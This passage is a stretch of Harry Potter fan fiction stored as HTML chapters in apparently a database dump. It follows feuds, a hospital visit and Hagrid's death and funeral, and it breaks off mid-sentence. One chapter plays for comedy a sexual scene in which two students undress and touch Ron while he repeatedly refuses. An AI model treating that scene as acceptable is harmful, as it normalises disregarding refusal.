if I looked for it.&quot;<br>\n\n\n<br>\n &quot;Tomorrow, will you? We <em>do</em> have classes in the morning.&quot; Colin mentioned this with a pointed glance at his wristwatch.<br>\n\n\n<br>\n &quot;Oh right,&quot; Harry said. &quot;We should go back to Gryffindor tower, then. Is your ankle good to walk, Ginny?&quot;<br>\n\n\n<br>\n &quot;Right as rain.&quot; <br>\n\n\n<br>\n She smiled tentatively and Harry smiled back, but his heart wasn\'t in it. His heart was halfway across the castle sitting in a dark, musty library.<br>\n\n\n<br>\n\n\n<br>\n\n\n<strong>Reviewing is good for the soul!</strong>\n\n<br>\n\n\n</font></p></blockquote><font size="4" face="Garamond">\n\n</font><p></p> '),
	(271, 21, '\n\n<style type="text/css">\n\n</style>\n\n\n\n<title>Chapter Twenty</title>\n\n\n\n<blockquote>\n\n<p><font size="4" face="Garamond"></font></p>\n\n<p><font size="4" face="Garamond"><br>\n Pansy had followed him the week before while they all searched for that over-grown oaf, Hagrid. She watched his bright red head bob around under bushes and up in trees, calling out to his sinfully delicious brother late into the night. It ought to be a crime for a Weasley to look that good. He was so . . . interesting with that earring dangling against his throat like that. <br>\n\n\n<br>\n She shook her head and went back to her potion. Pansy was surprised that the younger Weasley spoke to Potter and Granger at all, but then again, he was in Gryffindor and they were a notoriously thick bunch. For that matter, so were all the Weasleys. Pansy sighed and twirled her hair, regretfully admitting that her statement included the good-looking one with the fang earring.<br>\n\n\n<br>\n Her eyes travelled slowly over to Ron\'s bowed head and smirked. They were in Potions now and the idiot was roughly chopping up hemlock with one hand while at the same time throwing fistfuls of dried mandrake root into his cauldron. What a sorry excuse for a wizard. <em>This</em> was the boy who killed the Dark Lord? He must have backfired a hex or something because Ronald Weasley certainly wasn\'t on par with He-Who-Must-Not-Be-Named. Pansy laughed before ducking her head and glancing at Ron from the corner of her eye. He couldn\'t even make a Flying Ointment correctly! Ron wasn\'t far away, and when he caught her looking at him, she could see every freckle on his face clearly. <br>\n\n\n<br>\n &quot;Problem, Parkinson?&quot; Ron whispered cheekily, his eyes flicking toward the wand on her desk and then back to her face.<br>\n\n\n<br>\n Pansy smiled at him brilliantly, showing all her teeth. He was scared of her, no doubt about it. <br>\n\n\n<br>\n &quot;Yes,&quot; she answered in a treacle-like drizzle of words. &quot;I have a problem with you, of course. I don\'t know <em>how</em> Professor Snape expects me to concentrate on my potion when I have to be in the same room as an ugly sot like you.&quot;<br>\n\n\n<br>\n Ron rolled his eyes and leaned closer to her, even though there were no less than two tables between them. &quot;Is that the best you can do? I think you\'re slipping. Then again, if I had to look at that mug first thing every morning, my game would be off, too.&quot;<br>\n\n\n<br>\n Pansy narrowed her eyes and glanced up quickly at Snape. He was making a pointed effort to ignore the class while he marked sixth-year exams. &quot;You think you look better than <em>me</em>, Weasley? That\'s a laugh.&quot;<br>\n\n\n<br>\n &quot;For Merlin\'s sake, either move over there or shut it, Ron,&quot; Dean Thomas grumbled, poking the other boy in the ribs. Ron scowled at him for a moment before turning back to his cauldron.<br>\n\n\n<br>\n No matter, she would catch him after class. Pansy looked at Snape again; only he was glaring at her this time. He was already vexed with her, no point in making him even more upset than he already was. She flinched and went back to making her ointment, mashing the berries of deadly nightshade carefully with her mortar and pestle before adding it to her cauldron. The potion was a sort of dull grey colour when she was finished.<br>\n\n\n<br>\n &quot;Enough time has passed. Your Flying Ointments should be a blue colour similar to this.&quot; Snape held up a colour wheel for the class to see and tapped the appropriate colour with his wand. &quot;Thick and viscous in consistency.&quot;<br>\n\n\n<br>\n The arsing potion wasn\'t even close to the brilliant blue that it was supposed to be! She thought back through the ingredients and realised that she hadn\'t added the Billywigs yet. A glance at Millicent\'s area beside her showed that there were only two of the pesky insects left, still trapped and buzzing madly inside of the jar.<br>\n\n\n<br>\n Most would have squished them with their pestle first, but Pansy took pleasure in tossing them into her bubbling potion alive. She could easily imagine that they were actually a certain ginger-haired Gryffindor. There! Now it looked about right. With any luck, Snape would be done with them soon and then--<br>\n\n\n<br>\n Pansy\'s head snapped up when she heard a chorus of giggles around her. What was so bloody amusing? She couldn\'t see anything out of the ordinary except that they all seemed to be pointing at her. Even Millicent was tittering in what she probably thought was a feminine fashion. A quick glance down revealed nothing unusual. What was wrong?<br>\n\n\n<br>\n &quot;Is there a problem, Millicent?&quot; she ground out at her bushy-haired classmate.<br>\n\n\n<br>\n The girl snorted indelicately before she grabbed a hank of Pansy\'s curly hair and roughly plucked a sticky web of goo from it. The class snickered again before Snape growled out a warning about detentions and they all went back to their work. But before he did, Pansy scanned the room. She reasoned that Blaise was too subtle for that type of childish trick, as were most of the other Slytherins. Pansy found the one Gryffindor who wasn\'t laughing behind their hand at her and narrowed her eyes. The fool didn\'t even realise how conspicuous he looked by trying to play innocent. Oh, he was really going to pay. <br>\n\n\n<br>\n Right now.<br>\n\n\n<br>\n Pansy snatched up her wand and stomped over to Ron\'s desk. He glanced at her mildly, the barest of smiles playing over his stupid freckled lips. <br>\n\n\n<br>\n &quot;Yeah?&quot; he asked, lifting his eyebrows at her.<br>\n\n\n<br>\n Before anyone could stop her, she pointed her wand in his face and fairly screamed: &quot;<em>Poxis</em>!&quot;<br>\n\n\n<br>\n There was a loud <em>squack</em> and her wand melted from her hands and turned into a rubber chicken. Or maybe it was a duck. Pansy stared at the remains of her wand and she could feel a muscle on her cheek start to flex and twitch involuntarily. She gritted her teeth together and was about to pull out the small knife she kept on her person, regardless of the consequences, but Snape had risen from his desk while this happened and was directly beside her.<br>\n\n\n<br>\n Snape looked at the rubber fowl, then at Ron, before he favoured Pansy with a piercing eye. He lifted an ebony brow and the class held it\'s collective breath, cringing as they anticipated the scathing words that were about to be uttered by the greasy Potions professor. <br>\n\n\n<br>\n &quot;Well, that was unexpected.&quot;<br>\n\n\n<br>\n\n\n<br>\n *~*~*~*~*~*<br>\n\n\n<br>\n\n\n<br>\n Like Snape had said, it was unexpected. <br>\n\n\n<br>\n Well, at least when Pansy had smacked him in the head with the rubber chicken that had previously masqueraded as her wand. Ron had been heartily anticipating the rest. Too bad she couldn\'t have cursed herself instead of beating him up with a toy.<br>\n\n\n<br>\n Grudgingly, Ron had given Pansy her real wand back and he was currently looking forward to three fun-filled days of detention to accompany the fifty house points that had been taken away from Gryffindor. No one minded too terribly though, after all, it <em>was</em> an amusing way to end a hideous double Potions class.<br>\n\n\n<br>\n At least it was Friday now, so there would be no more Snape until Tuesday morning. Hopefully. Knowing Ron\'s luck, he\'d step on the man\'s foot sometime over the weekend and earn another three days of detention for himself.<br>\n\n\n<br>\n Ron saw Hermione rushing up ahead of him, free of Harry for once, and he had the sudden urge to talk to her. All right, the urge wasn\'t sudden. He had wanted to talk to her alone since the whole mess started. His one attempt back at the Burrow had ended in disaster. He still smacked himself every day for laughing when her speech slipped. Well, it had been rather amusing at the time. She was on her high horse, launching into one of her endless moral tirades when there it was. Anyone would have laughed, wouldn\'t they? At least a chuckle? Upon reflection though, Ron realised that with that one action, he had cut himself off from her more thoroughly than even the lies he had told her about Harry.<br>\n\n\n<br>\n He winced when he thought of calling them lies. But he had to admit it to himself: they were <em>lies</em>. They were barely even half-truths. Well, all right, so Harry was quickly becoming a drunk at the time, and he <em>did</em> shag that one bird at the Quivering Rooster one night, if Ron remembered properly. But Harry wasn\'t going into Hogsmeade every weekend to get his jollies like he\'d told Hermione.<br>\n\n\n<br>\n The thought of jollies led him abruptly back to where he <em>didn\'t</em> want to go: Ginny. She was wrong when she had accused him of not caring during their argument about Malfoy. It was just the opposite. Ron did care, very much. Unfortunately, when he was honest with himself, he realised that it was a very thin line he walked between pride and love. <br>\n\n\n<br>\n Harry had always shaken his head at the Weasley dramatics, as he often called it. So was this whole thing with Malfoy going on because Ginny wanted attention or because she really did care for the prat? Malfoy seemed able to match the Weasley family as far as dramatics went, so if she was looking for excitement, she had probably found it.<br>\n\n\n<br>\n Ron still hadn\'t had the chance to pull Malfoy aside since the discovery and pound his brains into mush. And today he had been curiously absent from classes. Perhaps someone else had already beaten him to the job and cracked Malfoy in his bleedin\' skull, good and proper like the arse deserved.<br>\n\n\n<br>\n He was interrupted from his violent musings by two feminine giggles. Ron turned just in time to see a blonde and brunette blur push him through an open doorway and into a musty, disused classroom somewhere near the library.<br>\n\n\n<br>\n &quot;Oooh, Eloise, we\'ve finally caught him!&quot; a voice whispered somewhere near his ear. Ron groaned. This was not happening. Again. He had to get to Hermione before she disappeared into the library and fell into one of her damn boring books.<br>\n\n\n<br>\n &quot;Um, girls. I really have to be somewhere about now so if you\'d just---&quot;<br>\n\n\n<br>\n &quot;Don\'t you want to play with us, Ronny?&quot; another voice cooed. &quot;We\'ll make it worth your time.&quot;<br>\n\n\n<br>\n &quot;Honest engine.&quot; The first girl agreed and she began to strip off his robes.<br>\n\n\n<br>\n Oh God, this wasn\'t going to be easy, was it? He had to think of something decidedly <em>not</em> attractive and warm and . . . nice smelling. Um, Snape: in a dress, with a feather boa. Oh, their hair felt like feathers against his thigh. <em>No</em>! That was very bad. Um, umm. . .<br>\n\n\n<br>\n &quot;Girls, please. Can\'t we do this some other time? I really need to be somewhere else right now.&quot;<br>\n\n\n<br>\n &quot;We\'ve been waiting all week for the chance to get you! It\'s our turn and you\'re not getting away.&quot;<br>\n\n\n<br>\n &quot;Too right,&quot; the other agreed as she ripped at his trousers. He couldn\'t see it, but he could hear the coy pout in her voice. &quot;We have an appointment with Master Longstaff.&quot;<br>\n\n\n<br>\n Master Longstaff? How did they find out that\'s what he had named his---oh, oh no. No, don\'t touch it! No! Um, pirates, with nasty swords. Big rusty swords and rotting teeth and-and greasy hair. Snape! Yes, Snape, all nasty and evil and---Snape-like.<br>\n\n\n<br>\n &quot;Oh come on, Master Longstaff! We\'ll give you a lovely kiss if you cooperate with us.&quot;<br>\n\n\n<br>\n One girl whispered something to the other before she stood up and leaned over to tilt his head back. In the darkened classroom, very little was visible except for her glittering eyes.<br>\n\n\n<br>\n &quot;Naughty Ronny. <em>I</em> know what you\'re doing and it won\'t work.&quot; <br>\n\n\n<br>\n He was about to tell her to naff off when she attacked his mouth, sliding her tongue between his lips. Ron was so distracted that he let his guard down, and Snape fled his mind just long enough for Girl Number Two to get a rise out of old Longstaff. <br>\n\n\n<br>\n &quot;Oooh hello, Master!&quot; said the girl kneeling before him.<br>\n\n\n<br>\n Bugger all, he was only human. Hermione could wait, he supposed. After all, these girls had an appointment to keep.<br>\n\n\n<br>\n\n\n<br>\n *~*~*~*~*~*<br>\n\n\n<br>\n\n\n<br>\n Draco groaned as he sat in bed, counting his many grievances with life in general. He was in hospital; cross; terribly thirsty; he\'d noticed a freckle on his nose that morning; and he couldn\'t sleep. Blaise would pay for this, he and his new little arse-lickers, Crabbe and Goyle. How dare they attack him? Didn\'t they know that he was both a Malfoy and a Slytherin through and through?<br>\n\n\n<br>\n He was still thinking of ways to get revenge when he heard a hesitant cough outside the curtains surrounding his bed. It didn\'t take a genius to figure out who it was. Who else would visit him in the Infirmary? He sighed. Why couldn\'t she leave him alone?<br>\n\n\n<br>\n Ginny\'s red head peeped uncertainly around the curtains before pulling them back and stepping closer to his bed. She stared at him for a moment, taking in his black eye and the bandages around his ribs before sitting beside him.<br>\n\n\n<br>\n &quot;I had to ask Professor Snape where you were. I couldn\'t get anything from your housemates.&quot;<br>\n\n\n<br>\n &quot;Did you really think they would tell you?&quot; Draco snapped peevishly. She could be so bloody dense at times. He wondered why Professor Snape had told her where he was. There was certainly no love lost between Snape and the Weasley brood.<br>\n\n\n<br>\n Ginny shook her head and sighed. &quot;No, I suppose not. Snape said that Blaise and a few other Slytherins jumped on you last night.&quot; She gazed at him and tilted her head to the side. &quot;Why did they do that? Why now? It\'s been ages since . . . that day. And you didn\'t really do anything that bad. I mean you were just looking out for yourself. Isn\'t that what any other Slytherin would do?&quot;<br>\n\n\n<br>\n Draco chuckled quietly for a moment. It really was too funny. A Gryffindor had grasped his motivation, one that was so very, very Slytherin, while it had completely escaped his housemates. <br>\n\n\n<br>\n &quot;I think any one of them would have done the same thing I did, but they would all rather die than admit it. We do have our pride, you know.&quot;<br>\n\n\n<br>\n Ginny nodded and leaned forward to kiss him on the forehead as his lips were heavily swollen and bruised. She didn\'t seem to notice his scowl, but then she rarely ever did. &quot;Enough of them. I came to cheer you up.&quot;<br>\n\n\n<br>\n Draco lifted an eyebrow at her and looked down to where she was pulling a mass of bulky, knobbled cloth out of her robes. &quot;What the hell is that?&quot;<br>\n\n\n<br>\n Her brows drew together and she seemed hurt for a moment before unfurling the cloth to reveal that <em>they</em> were, in fact, two very thick green socks. &quot;I knitted you some socks. You\'re always going on about how cold your feet are. Even though, I don\'t know how they possibly could be, what with that hair all over them.&quot;<br>\n\n\n<br>\n Didn\'t she <em>ever</em> shut up?<br>\n\n\n<br>\n She sighed before continuing. &quot;But, I suppose the bottoms of your feet get cold, right?&quot; Ginny pulled the covers back from his lower legs and slid a sock on one of his feet, still talking all the while. &quot;I made a right balls-up of my exam in Potions today. I told you I needed to revise more and I only had one chance this past week to do so. You know, with Hagrid\'s disappearance and everything. <br>\n\n\n<br>\n &quot;Snape was terribly mean to me when I asked him where you were. He told me that I should ask Neville to tutor me because my marks were so wretched. Honestly!&quot; she cried out while pushing a sock down over his other foot with more force than was strictly necessary. &quot;Neville, of all people! Everyone knows he does abysmally in Potions. I was so irritated that I almost cursed the sarcastic bastard. I would have, too, if he wasn\'t a professor.&quot;<br>\n\n\n<br>\n Ginny was mumbling now and Draco was glad that he couldn\'t make out her words. He wished that she would just go away.<br>\n\n\n<br>\n &quot;Oh.&quot; Ginny snapped to attention and covered his feet with the duvet again. She scooted up close to him and started tinkering with the pitcher of water on his nightstand. Yes, good, I want some water, Draco thought to himself.<br>\n\n\n<br>\n &quot;I haven\'t had the chance to tell you since last I saw you but, well, I had a row with my brother last week.&quot;<br>\n\n\n<br>\n &quot;And this affects me how?&quot;<br>\n\n\n<br>\n She scowled and poured some water into a glass before shoving it roughly into his hand. Maybe she really was psychic. &quot;Ron found out about us.&quot;<br>\n\n\n<br>\n Draco shrugged and took a sip of the water. That was so much better really, his throat was feeling a bit scratchy and it wouldn\'t do to sound like Longbottom\'s toad, would it? <br>\n\n\n<br>\n &quot;Who in their right mind would tell your brother about us? I\'d think that he would be just as eager to kill the messenger as he would me.&quot;<br>\n\n\n<br>\n Ginny cleared her throat. &quot;Um, Pansy Parkinson told him.&quot;<br>\n\n\n<br>\n Draco nearly choked. &quot;Pansy? Why would she---&quot; He narrowed his eyes and made himself think about it for a moment. What was the girl playing at now? She had something to gain from telling, obviously, since she wasn\'t in the habit of giving information unless it benefited her in some way. Well, it seemed that she had a lesson to learn when it came to crossing a Malfoy.<br>\n\n\n<br>\n &quot;I\'ll take care of it,&quot; Draco stated shortly.<br>\n\n\n<br>\n &quot;Take care of it? What are you going to do? Draco, please don\'t hurt Ron. I know he\'s an arse sometimes, but he means well. Er, I think.&quot;<br>\n\n\n<br>\n &quot;Shut up, you twit. I was talking about Parkinson.&quot;<br>\n\n\n<br>\n Ginny sat up straighter and he could see that she was pulling her pride together. He was surprised that she had any left after catering to his every whim for so long.<br>\n\n\n<br>\n &quot;Don\'t speak to me that way, Draco Malfoy! I\'ve had it up to here with your attitude. If you can\'t speak to me like an equal, then don\'t speak to me at all.&quot;<br>\n\n\n<br>\n Draco shrugged. It didn\'t bother him. Maybe she would leave now. &quot;Are you quite done?&quot;<br>\n\n\n<br>\n Her amber eyes flashed, and Draco found himself suddenly longing for a cup of tea, foamy from the sugar but no cream. He thought that this was a bit odd, since he was quite fond of cream, but ignored it as Ginny started to rant.<br>\n\n\n<br>\n &quot;I came here to cheer you up and---and I made you some socks and---look, if you want me to leave then just say so instead of being an arse!&quot;<br>\n\n\n<br>\n &quot;Leave then.&quot;<br>\n\n\n<br>\n Ginny narrowed her eyes and slapped him on the face hard enough to make his head snap. She didn\'t seem to be so concerned about his injuries anymore. &quot;You\'re a cold bastard, you know that?&quot;<br>\n\n\n<br>\n Draco managed a smirk, even though his head was still ringing from her physical and mental blow. &quot;So I\'ve been told.&quot; <br>\n\n\n<br>\n With one last glance, Ginny stomped through the Infirmary doors and far away from him. It would have been good riddance except that he still wanted a cup of tea and no one was around to get it for him. Damn it.<br>\n\n\n<br>\n There was no way in hell that he would be able to sleep now.<br>\n\n\n<br>\n\n\n<br>\n *~*~*~*~*~*<br>\n\n\n<br>\n\n\n<br>\n Harry trudged into the Gryffindor common room, thoroughly exhausted. He was in a bit of a temper because practice hadn\'t gone very well that afternoon. Their star Chasers, Ginny and Ron, didn\'t come to practice and hadn\'t even bothered to notify anyone that they wouldn\'t be there.<br>\n\n\n<br>\n He found out later that Ron had caused a scene in Potions that afternoon and was currently serving detention in the dungeons with Snape. Harry chuckled quietly and sat down in a large chair near the fire to warm up his feet. He wished that he had been in Potions that afternoon just to see what Ron did to Pansy Parkinson instead of with Madame Hooch and Professor McGonagall going over strategies and rosters for the upcoming match against Ravenclaw for the House Cup.<br>\n\n\n<br>\n Harry realised, not for the first time, that he missed Ron. He always seemed able to lighten the mood in any room and bring a breath of fresh air with his patented Weasley histrionics. Aside from when he was being a conceited bastard, Ron was a generally pleasant person to be around and Harry felt the absence of his friendship keenly.<br>\n\n\n<br>\n Even more now though, since Hermione had spent most every waking hour in the library for the past week. He didn\'t know what was going on and as usual, she wouldn\'t tell him. It wasn\'t that he didn\'t trust Hermione, he trusted her with his life, but she was hiding something and he was anxious to know what it was.<br>\n\n\n<br>\n Absently, Harry pulled a slightly damp cigarette out of his robe pocket and put it to his lips. No one else was in the common room aside from a few fifth years revising for their O.W.L\'s, and who were they to tell him what to do?<br>\n\n\n<br>\n Hermione was in trouble and she wouldn\'t let him help. It was a bit frustrating, really. They had shared some of their deepest, darkest secrets with each other, but she couldn\'t even let him help her with this, whatever \'this\' was.<br>\n\n\n<br>\n It almost seemed as if Hermione wasn\'t the same person anymore. Granted, she was still a bookworm as always and seemed to prefer books over most people, but there was something that struck Harry as terribly off about her behaviour of late.<br>\n\n\n<br>\n He took another drag from his cigarette and let it dangle from his fingers carelessly, staring into the fire while he attempted to puzzle this out.<br>\n\n\n<br>\n The new side of Hermione had at first seemed pleasant, intriguing, exciting, and mysterious . . . arousing even. But now it just seemed so <em>wrong</em>. Hermione wasn\'t supposed to swear, she wasn\'t supposed to encourage rule breaking, and she <em>wasn\'t</em> supposed to kiss him in public. <br>\n\n\n<br>\n They\'d both agreed that it was necessary to keep their relationship as private as possible. Who knew when they were being watched and photographed? They didn\'t need another scandal similar to their fourth year.<br>\n\n\n<br>\n It seemed like an eminently sensible thing to do, and it suited their respective personalities. Their relationship was too intimate, too personal to share with anyone else and frankly, it was embarrassing to see other people snogging in public so why would they want to do that to everyone else? Perhaps that\'s why he\'d been so shocked when she kissed him full on the lips in the middle of the Great Hall at breakfast before racing off to Arithmancy.<br>\n\n\n<br>\n Ginny and Draco, <em>they</em> were the exuberant ones. Neither cared anymore who saw them snogging or--- whatever else they did while people were watching, which was quite a bit.<br>\n\n\n<br>\n Harry threw his cigarette into the fire and hunted for another one. He brought it to his lips and began the rhythmic process of puffing and exhaling while he pondered.<br>\n\n\n<br>\n Hermione was supposed to be a rock: solid, dependable, and rational. Harry\'s duty was to keep the rock from breaking and give it support. Lately though, the rock was crumbling and there didn\'t seem to be enough glue to keep it together. <br>\n\n\n<br>\n Hermione was disintegrating.<br>\n\n\n<br>\n Perhaps it was the stress of everything that had happened at Christmas; Hagrid\'s disappearance; N.E.W.T.\'s coming up; and the ongoing Ginny-Draco-Ron production.<br>\n\n\n<br>\n Hermione ought to be outside of all this with him, not embroiling herself in the middle of it. Or should she? Gah, it wasn\'t making any bloody sense, was it?<br>\n\n\n<br>\n And what the devil was she working on that had her so occupied of late?<br>\n\n\n<br>\n Harry pinched the cigarette in his hand lazily and tapped his fingers on the arm of his chair. He needed to talk to her about this, but she was always revising for either the N.E.W.T\'s or that damn project. He\'d have to go to the library and talk to her there. Maybe he could pull her away from the books long enough to---<br>\n\n\n<br>\n He started a bit when he heard the portrait door swing open and bang on the outside wall. Hermione came flying into the common room, dishevelled and teary-eyed.<br>\n\n\n<br>\n She seemed to be hunting for something until she caught sight of Harry lounging in front of the fire and raced over to him, throwing her body onto his lap and sobbing wildly. Her fingers dug into his shoulders painfully and he couldn\'t see anything but a cloud of fluffy brown hair.<br>\n\n\n<br>\n &quot;Oh God, Harry! Oh God, I don\'t know what to do, this is too much and I don\'t think I can take anymore. I\'m losing my mind and this isn\'t real. Tell me it isn\'t real.&quot;<br>\n\n\n<br>\n Harry took hold of her shoulders and gently peeled her face from his chest. &quot;Hermione, what\'s wrong? What\'s happened?&quot;<br>\n\n\n<br>\n She sniffed for a moment, her face blotchy and swollen from tears. &quot;You mean you haven\'t heard?&quot;<br>\n\n\n<br>\n &quot;Heard what?&quot; he asked, growing more panicked by the moment.<br>\n\n\n<br>\n Hermione took a deep breath and her lip trembled while she searched for the strength to speak. <br>\n\n\n<br>\n &quot;They\'ve found Hagrid.&quot;<br>\n\n\n<br>\n\n\n</font></p>\n\n<p><font size="4" face="Garamond"><strong>Pssst . . . Reviewing is good for the soul, pass it along!</strong><br>\n\n\n</font></p>\n\n</blockquote> '),
	(271, 22, ' <font face="Palatino Linotype" size="4"><p>Authour&#8217;s Notes: I&#8217;m sorry that it&#8217;s taken me so long to get this chapter out. Alexis beta read it almost a month ago, but I wanted to make sure that I had everything perfect and all my plots in a row before I sent it out. I still don&#8217;t have everything just so, so I substituted one word with meaning in this chapter for another that doesn&#8217;t have much meaning so I can have everything fixed by the next chapter.</p>\n\n<p></p>\n\n<p> Also, I lost my old computer with all of my notes and this entire story. If it wasn&#8217;t for my dearest Clairey and Alexis, this story would be toast because I don&#8217;t think I&#8217;d be able to bring myself to re-write the over 150 pages of story after what&#8217;s already been published. *sighs* But, fear not, for it&#8217;s all saved. Send some chocolates their way because they truly are amazing. Especially considering that Alexis just started college at OSU and still found time to resend the missing beta&#8217;d chapters for me to redo.</p>\n\n<p></p>\n\n<p> Everyone say hello to Lucius, my brand new 2.2G processor, 40G HD black, silver, and green computer. This means that I can make music videos again *yay!* and I can see colours again with the 17&#8221; monitor. *rubs her evil hands*</p>\n\n<p></p>\n\n<p> Once again, I thank everyone for their lovely comments. The constructive criticisms really mean the world to me and help me spot places I need to fix. Now go on, go read the story now. I know you want to do. </p>\n\n<p></p>\n\n<p>Cheers</p>\n\n<i><p></p>\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<p></p>\n\n<p>I shall not see the shadows, </p>\n\n<p>I shall not feel the rain; </p>\n\n<p>I shall not hear the nightingale </p>\n\n<p>Sing on, as if in pain: </p>\n\n<p>And dreaming through the twilight </p>\n\n<p>That doth not rise nor set, </p>\n\n<p>Haply I may remember, </p>\n\n<p>And haply may forget. </p>\n\n<p>~ Christina Rosetti - Song</p>\n\n</i><p></p>\n\n<p></p>\n\n<p>The day outside was clear and bright. Tiny shoots poked through the snow, gently unfurling their leaves to bask in the warmth of the sun. Life was beginning again after the long, dark winter.</p>\n\n<p></p>\n\n<p> Perhaps that&#8217;s why Harry felt that this day was highly inappropriate to bury the dead.</p>\n\n<p></p>\n\n<p> Harry looked out over the grounds Hagrid had loved and cared for so earnestly<b>, </b>and squeezed Hermione&#8217;s hand gently in his own. She was beautiful. Even with her puffy eyes, face blotched red, and her nose running<b>,</b> she was gorgeous. Harry wrapped his arm around her shoulders and rested his cheek on top of her head. </p>\n\n<p></p>\n\n<p> He had to appreciate her beauty and strength because she could be gone any moment. Harry had assumed that once Voldemort was dead that the worst was over<b>, </b>and life would thrive and grow. </p>\n\n<p></p>\n\n<p>Apparently he was dead wrong. </p>\n\n<p></p>\n\n<p> There was something at work here that went beyond Voldemort; he felt it in his very bones. Hagrid&#8217;s death seemed to be perfectly explainable, but something still nagged at him about it.</p>\n\n<p></p>\n\n<p> Hagrid had taken on forest trolls before and come out on top. Even in a drunken daze he should have been able to best it. But he hadn&#8217;t won this time.</p>\n\n<p></p>\n\n<p> His body had been torn almost past recognition. He was battered, bruised, and long dead when they&#8217;d found him under the receding snow two days before. The only reason that anyone knew it was a troll that killed him was the hank of coarse, purplish hair in his hand.</p>\n\n<p></p>\n\n<p> Then there was Fang.</p>\n\n<p></p>\n\n<p> The great boarhound had gone missing with Hagrid and everyone assumed that they were together somewhere, but the dog&#8217;s body wasn&#8217;t found anywhere nearby. Harry was determined to find the dog and take care of it if he was still alive. After all, that had been Hagrid&#8217;s last request to him almost two months ago.</p>\n\n<p></p>\n\n<p> Hagrid knew he was going to die. Looking back, Harry realised that he should have questioned the man more closely. There was something very odd going on and Harry was going to find out what it was if it killed him.</p>\n\n<p></p>\n\n<p> It wasn&#8217;t as if he&#8217;d expected to live past seventeen anyway.</p>\n\n<p>\n\n</p>\n\n<p> Hagrid had been the first magical person Harry ever met. He had saved him from the Dursley&#8217;s, shown him the world in which he belonged, and was the very first friend Harry ever made. Even though he hadn&#8217;t really spent much time with the man for years.</p>\n\n<p></p>\n\n<p> The half-giant certainly wasn&#8217;t accused of being the brightest star in the heavens, but he had a simple wisdom that managed to penetrate most situations. Harry would miss that along with everything else.</p>\n\n<p></p>\n\n<p> He would even miss those hideous rock cakes.</p>\n\n<p>\n\n</p>\n\n<p> Dumbledore was done with the eulogy now. Harry watched as he waved his wand in the air and directed the earth to part and accept Hagrid&#8217;s remains, wrapped tightly in a winding sheet that could likely have covered the entire floor of the Gryffindor common room.</p>\n\n<p></p>\n\n<p> Harry was thankful that wizards didn&#8217;t bury their dead in coffins. Hagrid deserved to rest inside the earth, close to the nature he had loved so much without being contained by stone or wood.</p>\n\n<p></p>\n\n<p> The student mass broke and a few tossed flowers from the greenhouses or cards they had made on top of the grave. A simple plaque stating Hagrid&#8217;s name, date of death, and the inscription marked it. </p>\n\n<p></p>\n\n<p>\n\n<i>When he was among us we were strong. </i></p><i>\n\n<p>We are poorer for the lack of his company.</p>\n\n<p>Rest in peace<b>, </b>faithful servant.</p>\n\n<p></p>\n\n</i><p><i>\n\n</i>Hermione nudged him and Harry started forward, carrying a small basket of rock cakes and some tea to set on Hagrid&#8217;s grave. Perhaps he didn&#8217;t need to eat wherever he was now, but Harry was sure that the gesture would be appreciated.</p>\n\n<p></p>\n\n<p> Harry looked up to see that Ron was the only other one who had remained behind. Everyone else was gone.</p>\n\n<p></p>\n\n<p> &#8220;Hullo, Harry,&#8221; Ron whispered, staring at the ground and rocking back and forth on his heels. His hands were buried deep into the pockets of his trousers.</p>\n\n<p></p>\n\n<p> &#8220;Hello, Ron,&#8221; Harry said, glancing at Hermione. She sniffed away a few tears and closed the gap between the two boys. They stood together, shoulder to shoulder, much like they once had and seemingly united in their grief.</p>\n\n<p></p>\n\n<p> &#8220;Ron,&#8221; she stated clearly, acknowledging the other boy&#8217;s presence. </p>\n\n<p></p>\n\n<p> He nodded at her, glancing up briefly before turning his attention back to Hagrid&#8217;s grave. &#8220;Hermione.&#8221;</p>\n\n<p></p>\n\n<p> No one spoke for a moment until Ron pulled a petrified slug from his pocket and awkwardly set it on the ground beside Harry&#8217;s basket and the other offerings there.</p>\n\n<p></p>\n\n<p> &#8220;I never imagined that he would die. I mean, I knew that he would one day, but&#8212; not this soon. Not like this.&#8221; </p>\n\n<p></p>\n\n<p> Harry acknowledged Ron with a grunt and turned around, pulling Hermione with him as he walked away. He wished that Ron hadn&#8217;t broken the silence; it reminded him of too many things he wanted so much to forget.</p>\n\n<p></p>\n\n<p> &#8220;Harry,&#8221; Ron called out from behind them.</p>\n\n<p></p>\n\n<p> Hermione stopped, so Harry turned around, waiting for him to speak again.</p>\n\n<p></p>\n\n<p> &#8220;Can&#8217;t we&#8212;&#8221; Ron stopped to lick his pale lips. &#8220;Can&#8217;t we put this behind us, Harry? We&#8217;ve known each other since first year and it&#8217;s bloody ridiculous to go on like we have. I&#8217;m sorry, right? I&#8217;m sorry for overreacting last week, and I&#8217;m sorry for lying to Hermione about you&#8212;&#8221;</p>\n\n<p></p>\n\n<p> Harry raised a hand to cut him off. &#8220;Ron, I miss you, too. I miss being friends with you and having adventures. I miss laughing over stupid pranks. But what you did was completely unforgivable and just because I&#8217;m speaking to you off the Quidditch pitch doesn&#8217;t make us friends again. As for Hermione, I don&#8217;t know how she feels so you&#8217;ll have to ask her.&#8221;</p>\n\n<p></p>\n\n<p> Hermione, for her part, looked confused more than anything else. Finally, she spoke to Ron. &#8220;If Harry can find it in him to forgive you than so can I. But it&#8217;s too fresh now, Ron. Maybe some other time we can all sit down and puzzle this out like rational individuals, but not now. Not today.&#8221;</p>\n\n<p></p>\n\n<p> Ron&#8217;s face distorted and coloured deeply. &#8220;It&#8217;s always logic with you, isn&#8217;t it, Hermione?&#8221; he whispered bitterly. &#8220;Can&#8217;t you, for once in your life, think with your bloody heart?&#8221; He pounded his chest. &#8220;I&#8217;m fecking <i>dying </i>here!&#8221; Ron screamed, his arms and face raised, fingers digging at the sky. &#8220;And you don&#8217;t care.&#8221; His eyes flicked between the two before coming to rest on Harry. Ron&#8217;s arms dropped and his hands twisted inward. &#8220;Neither of you care about me at all,&#8221; he finished softly.</p>\n\n<p></p>\n\n<p> Hermione&#8217;s back straightened as she walked forward to peer into Ron&#8217;s face. &#8220;We <i>do</i> care about you. But you destroyed our friendship, Ron. You <i>lied</i> to us! You lied to me, to Harry, and to your family. We are <i>all</i> broken now.&#8221; Hermione poked him hard in the chest with one finger before finishing softly. &#8220;And you only have yourself to blame.&#8221;</p>\n\n<p></p>\n\n<p> Harry felt that she was being too harsh and was about to step forward, but Hermione whirled around and grabbed his arm, propelling him back toward the castle.</p>\n\n<p></p>\n\n<p> &#8220;We&#8217;re done here, Harry,&#8221; she gritted out, her strides so long that he actually didn&#8217;t have to pace himself for once.</p>\n\n<p></p>\n\n<p> Harry was about to turn back when he heard a 